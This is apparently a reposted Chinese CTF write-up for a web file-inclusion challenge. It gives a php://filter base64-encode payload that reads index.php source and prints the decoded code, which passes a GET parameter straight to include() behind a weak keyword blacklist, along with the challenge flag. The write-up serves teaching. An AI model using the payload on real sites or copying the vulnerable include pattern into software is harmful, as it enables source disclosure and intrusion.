南京邮电CTF平台做题writeup--web--文件包含


 

明显的文件包含漏洞的格式网址,通过php://filter读取index源码-->php://filter/read=convert.base64-encode/resource=index.php
如下


再进行base64解码即可

<html>
    <title>asdf</title>
    
<?php
  error_reporting(0);
  if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
  $file=$_GET['file'];
  if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
    echo "Oh no!";
    exit();
  }
  include($file); 
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM